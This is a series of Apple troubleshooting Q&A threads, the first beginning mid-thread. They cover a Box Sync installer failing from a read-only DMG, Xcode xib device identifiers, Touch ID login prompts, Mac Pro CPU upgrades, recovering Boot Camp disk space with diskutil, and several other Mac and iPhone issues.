It allows you to turn off window shadow and/or window borders for every app.

I've just tested it and it seems to work properly, there are some minor glitches here and there but nothing major.

Minor glitches include:

You can't change window options for apps which don't have menu - like Bartender for example
You can't change window options for some apps, as winBuddy does not show up under 'Window' in menu.


Issue with the calendar app in iPhone I am not able to see Accept/Decline option for the calendar meetings in Calendar app in my iPhone.

How to do i Accept/Decline meetings in calendar app in my iPhone?


Problem installing Box Sync 4 application on El Capitan I download the Box Sync .dmg, see the mounted installer, click on the installer, enter my password, and NOTHING happens.

I have tried this myriad different ways. I have restarted the laptop several times, to no avail. I am the only user and have admin rights. How do I fix this?

I know there was a different thread of the same title, but that was a case of not seeing the mounted installer and fixed in preferences. I can SEE the installer, I can interact with it. It does nothing.

Short story: drag and drop the Box Sync.app from the DMG file to your /Applications folder and run it from there. It takes a moment to present the login prompt but it does work from there.

Long short I tried the Box installer on my Mac and was getting the same issue as yourself. Watching in Activity Monitor, after I double-click on the Box Synx.app within the mounted DMG file it prompted for my password and then seconds later disappeared from Activity Monitor with no explanation.

I ran fs_usage to watch what the installer was doing and it showed that it was writing to a log file in /Users/MYUSERNAME/Library/Application Support/Box/Box Sync/Box Sync-4.0.6974.log. Each time I tried to run the installer it wrote the following lines to the log and exits.

[36m2015-12-09 10:54:09.646 72816 INFO    MainThread           mac_self_updater      Mac self updater. user: 501, elevated user: 501, running from: /Volumes/Box Sync Installer/Box Sync.app[0m
[36m2015-12-09 10:54:09.646 72816 INFO    MainThread           mac_self_updater      installing into: /Applications/Box Sync.app[0m
[36m2015-12-09 10:54:09.648 72816 INFO    MainThread           mac_privileged_execut _get_installed_version: /Volumes/Box Sync Installer/Box Sync.app/Contents/Resources/com.box.sync.bootstrapper --version[0m
[32m2015-12-09 10:54:09.666 72816 DEBUG   MainThread           mac_privileged_execut Executable should be installed/updated. Current version 0, bundled version 2[0m
[36m2015-12-09 10:54:09.667 72816 INFO    MainThread           mac_privileged_execut Executing command /Volumes/Box Sync Installer/Box Sync.app/Contents/Resources/com.box.sync.bootstrapper with arguments [u'--install_sync', u'--sync_app_path', u'/Volumes/Box Sync Installer/Box Sync.app', u'--install_path', u'/Applications/Box Sync.app', u'--parent_process_id', u'72816'][0m
[36m2015-12-09 10:54:09.667 72816 INFO    MainThread           mac_privileged_execut Requesting create execute authorization ref[0m
[31m2015-12-09 10:54:23.938 72816 ERROR   MainThread           mac_bootstrapper      Failed to launch new sync app.  Error message: You can’t save the file “Box Sync” because the volume “Box Sync Installer” is read only.[0m
[31m2015-12-09 10:54:23.944 72816 ERROR   MainThread           mac_sync_app_delegate Unable to launch application via the bootstrapper.  Double click installation will fail silently![0m

For some reason it is trying to change one or more of the files within the DMG (perhaps just to change permissions), but it can't get write access within the read-only DMG so it silently fails.

Basically there is a bug in their software that needs to be fixed. In the meantime you can work around it by copying the application to a place where you it can modify the files.

I've left a message on their support forum. https://community.box.com/t5/Help-Forum/Mac-installer-fails-on-double-click/m-p/8641


How do I add preview devices to Interface Builder in Xcode to retrieve the device's code? Is there any way to add devices to the selection in the lower left corner?

I want to add the iPad Air and iPad Mini, so that I can view their ID (e.g. for iPhone 4 "retina3_5") when I view the .xib file as code.

My actual problem is that I am generating .xib files from a model and don't want Xcode to be asking like this

for an initial device when viewing the generated view in Xcode. The only and therefore initial device for this view is set in the model.

I already added the following lines which set the initial device:

<device id="retina4_0" orientation="portrait">
    <adaptation id="fullscreen"/>
</device>

The only problem is that I don't know the identifiers for iPad Air and iPad Mini. I know their resolution is the same as that of the iPad Pro 9.7" so I might as well just use the ID of the Pro but that doesn't feel completely right.

Any suggestions? I already spent a lot of time on searching how to add devices (the only suitable answer I found said press + in the lower left corner, but there is none for me) and for the keys of i-devices but without luck. Apple seems not have documented the xib-format at all.

There's no way nor need to add devices there. The devices presented there cover all the available device resolutions you should care about and that's what is it for.

If you want to add simulated devices for you to test on you can go to
Xcode->Window->Devices and click on the + on the lower left corner.

I'm guessing that's the + sign you saw while searching about it


Login Prompt stays after unlocking Macbook using Touch ID My office gave me Macbook Pro 15 inch recently with macOS Mojave version 10.14.5.

I configured my Touch ID, it is working fine.  When I unlock the system after locking it the login prompt does not go away.

If I enter the password it will go away.  If I press Cancel the screen and keyboard will be turned off and it comes back when I touch the trackpad or press any key.

I suspect this can happen if you use network authentication (like Active Directory), and your network password was changed.  Your fingerprint never changes, of course, but all your fingerprint does is unlock the password saved on your Mac.

If you change your password somewhere else (like on a Windows PC, or if an Active Directory admin changes it for you), your Mac won't know about the password change.

The fix is to only change your Mac's password using the Users & Groups preference pane in System Preferences.


Are there issues inherent to running dual 6-core processors on a 2009 Mac Pro vs a 2010? I'm shopping around for a pre-loved Mac Pro with dual 6-core "Westmere" processors. Finding a decently priced 2010 base model is a lot harder than finding a 2009 with upgraded processors.

In talking to Mac Pro refurbishers, some tell me that one should not upgrade a 2009 Mac Pro with the 6-core "Westmore" processors for reasons of it not being as stable as the 2010 Mac Pro 6-core machine. Some tell me that it will cause the fan to run all the time. Others say there's no problem at all upgrading a 2009 Mac Pro with dual 6-core "Westmere" processors.

My question is, are there any inherent problems or disadvantages to upgrading a 2009 Mac Pro with dual 6-core "Westmere" processors vs starting with a 2010 Mac Pro and doing the same? The later is harder to come by and thus more expensive.

Too long to be a comment, yet not conclusive enough to be an answer - but I'd like to throw in a couple of my experiences, even if I have no comparison.
I've never had a 'real' 5,1 but I do have a 3.46GHz Westmere upgraded 4,1.

To all intents & purposes everything except the front page of About this Mac considers it a 5,1.

I've always noticed a temperature discrepancy between the two processors - ref Mac Pro CPU temperature discrepancy - [which reached no solid conclusion] though it's never seemed to cause any problems, it just bothers my inner geek a bit.

I think the CPU fans always run a little fast, though again not enough to cause issues & it can be compensated by running the intake fans a little faster.

Intake at default 600

Intake at 800

Intake at 1000

I also had an issue with the Security update last year - Security update 2016-003 10.11.6 issues - [which again has no actual answer] I have no idea if it's related, but I ended up not having the update installed.
I have yet to dare attempt the recent 2017 security update. I might bite the bullet today & risk it.

It will run Sierra with no apparent issues, except that it's Sierra :/ [I really don't like that it breaks more than it fixes & it adds no user benefit for me.]


Black Screen on 13" Macbook Pro 2019/Catalina. Resetting NVRAM/PRAM, SMC does not work My wife's Macbook Pro suddenly dropped to a black screen with the power still on; keys light up, caps lock light comes on; display is clearly getting power. Holding down the power button kills power to the machine, but it does not restart.  If I hold the power button, I get the "power connected" sound you get when the AC Adapter is plugged in, but nothing else - it goes right back to the black screen.

I've tried resetting the SMC and the PRAM/NVRAM with no success. Also tried plugging in an external display - nothing.  What are my next steps? If it helps, we have another Macbook running Catalina I can use for any sort of boot disks or something.

It sounds like you were able to restart, however I have experienced a similar black screen, which is some kind of hardware bug on the Macbook Pro. The screen will go black, but the computer is still running. Sometimes the screen will come back on its own; sometimes I can Command-Tab through programs and quit (I can see that I'm switching via the Touch bar); and sometimes I must restart. Over time, I have discovered that Google Chrome is the culprit, but exactly what is happening remains a mystery.

My thought in your case is that perhaps the processes that are causing this issue are resuming through restart. But obviously you'd see the Apple in this case, and it sounds like you're not seeing anything at all.

So maybe your graphics card has failed.


How to make Font size equal to 15 in Terminal on Mac OS X Yosemite? Here are the configuration settings for the Terminal app in Yosemite.

It shows that I can set font size to the distinct values given in Terminal. How can I set it to some other in-between value like in my case, I want to set it to "15"?

Here is what I did in OS X Yosemite 10.10.4.

Terminal (menu) > Preferences... > Settings > Select the target Profile > Text > Change... (button)

This brought up the Fonts window shown in the image below.

I then resized the Fonts dialog box vertically until the Size text window appeared and entered 15, as shown in the image below.


Picture of "scenery" appears on iPhone 6 lock screen I just noticed that what I thought was "waveform bars" (for lack of a better description) on my iPhone 6 was actually a miniature landscape of houses and trees. What is it and where did it come from?

I upgraded from an iPhone 4S to iPhone 6S recently, so I'm not sure when I first noticed the issue, but I'm certain that it didn't exist on the iPhone 4. It's definitely not part of the original picture.

EDITED TO ADD: I was wrong. It was in fact part of the "original" picture (the one I uploaded to the phone), created by another program. I hadn't noticed it on the iPhone 4 because of the screen size/screen tilt. I'll leave the question in the slim chance someone else has encountered such a problem, but in any case it's been solved.

ORIGINAL QUESTION CONT.

It's barely noticeable (showing only the tops, which to me look like a waveform) until I tilt the phone, then it becomes apparent what it is.

Searching for quite some time on Google doesn't give me any answers. Anyone have any idea where this came from? I guess I could just change the image to see what happens, but in any case, it wouldn't explain where the image came from. My phone isn't jailbroken, so I'm doubtful it's some sort of malware that's gotten onto it (though not entirely impossible).

Thanks.

This is from the wallpaper you have set.

iOS hasn't added this — it's been added by wherever the photo came from. For example, a screenshot of a photo from Snapchat may have a filter on the bottom, then because you took a screenshot rather than using the original photo, something may be added to the bottom.

The scenery isn't moving independently; the whole image moves with perspective as you move the phone around. It's more noticeable on the edges as this is where the image moves the furthest, and you have a reference (the edge of the display) to compare as the picture moves.

Change your wallpaper to something else, perhaps to the original photo if the author can provide it to you without the edits.


The given partitions are not on the same whole disk I recently erased my bootcamp partition through Disk Utility. I couldn't use Boot Camp Assistant and got the following error:

  The startup disk must be formatted as a single Mac OS Extended
  (Journaled) volume or already partitioned by Boot Camp Assistant for
  installing Windows.

I erased the partition and not it's empty. I am trying to merge it with my mac OS partition so I can get all my space back but now I am getting this error in the terminal

  The given partitions are not on the same whole disk

when I use

diskutil mergePartitions JHFS+ ODMac disk0s2 disk1

How can I get my storage back fully on my MacBook Air?

Here is my diskutil list output:

    /dev/disk0 (internal, physical):
   #:                       TYPE NAME                    SIZE       IDENTIFIER
   0:      GUID_partition_scheme                        *121.3 GB   disk0
   1:                        EFI EFI                     209.7 MB   disk0s1
   2:          Apple_CoreStorage APPLE SSD SMO128G Media 60.4 GB    disk0s2
   3:                 Apple_Boot Recovery HD             650.0 MB   disk0s3
   4:                  Apple_HFS                         2.2 GB     disk0s4

/dev/disk1 (internal, virtual):
   #:                       TYPE NAME                    SIZE       IDENTIFIER
   0:                  Apple_HFS APPLE SSD SMO128G M... +60.0 GB    disk1
                                 Logical Volume on disk0s2
                                 4A71281B-ECA8-40E1-A9D3-047D036A0788
                                 Unlocked Encrypted

GPT values:

      start       size  index  contents
          0          1         PMBR
          1          1         Pri GPT header
          2         32         Pri GPT table
         34          6
         40     409600      1  GPT part - C12A7328-F81F-11D2-BA4B-00A0C93EC93B
     409640  117891928      2  GPT part - 53746F72-6167-11AA-AA11-00306543ECAC
  118301568    1269536      3  GPT part - 426F6F74-0000-11AA-AA11-00306543ECAC
  119571104    4320197      4  GPT part - 48465300-0000-11AA-AA11-00306543ECAC
  123891301  113086842
  236978143         32         Sec GPT table
  236978175          1         Sec GPT header

You have a 2.2 GB partition (disk0s4) on your drive. I am not sure this partition is even formatted. It is also possible the partition is not mounted. If not mounted, then the partition will not show up in the Finder. Anyway, this partition needs to be deleted before you can recover your missing free space.

The command below will delete this partition.

diskutil  eraseVolume  free  n  disk0s4

Once the disk0s4 partition is deleted, the next command can be used to recovery your missing free space.

diskutil  cs  resizestack  4A71281B-ECA8-40E1-A9D3-047D036A0788  0


YouTube not working on Apple TV I cant view YouTube  on Apple TV I only see the loading circle any suggestion on how to fix it would be appreciated

Try go into General and restart, This worked for me.